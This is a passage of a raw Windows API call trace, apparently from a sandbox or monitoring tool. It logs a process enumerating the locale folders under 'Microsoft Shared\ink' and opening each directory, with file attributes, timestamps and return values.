dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.452] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.452] GetLastError () returned 0x12 [0143.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.452] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.452] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.452] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.452] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.452] GetLastError () returned 0x12 [0143.452] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.452] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.452] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.452] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.452] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0143.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.775] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.775] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.775] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.775] NtClose (Handle=0x1a4) returned 0x0 [0143.776] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.776] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.776] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.777] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.777] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.777] GetLastError () returned 0x12 [0143.777] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.777] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.777] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.777] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.777] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.777] GetLastError () returned 0x12 [0143.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.777] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.777] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.778] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.778] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0143.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.779] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.779] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.779] NtClose (Handle=0x198) returned 0x0 [0143.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.779] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.779] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.780] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.781] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.781] GetLastError () returned 0x12 [0143.781] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.781] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.781] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.781] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.781] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.781] GetLastError () returned 0x12 [0143.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.781] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.781] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0143.781] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.878] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.878] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.878] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.878] NtClose (Handle=0x1a4) returned 0x0 [0143.878] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.878] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.878] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.879] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.879] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.879] GetLastError () returned 0x12 [0143.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.880] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.880] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.880] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.880] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.880] GetLastError () returned 0x12 [0143.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.880] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.880] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0143.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.881] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.881] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.881] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.882] NtClose (Handle=0x198) returned 0x0 [0143.882] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.882] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.882] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.883] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, 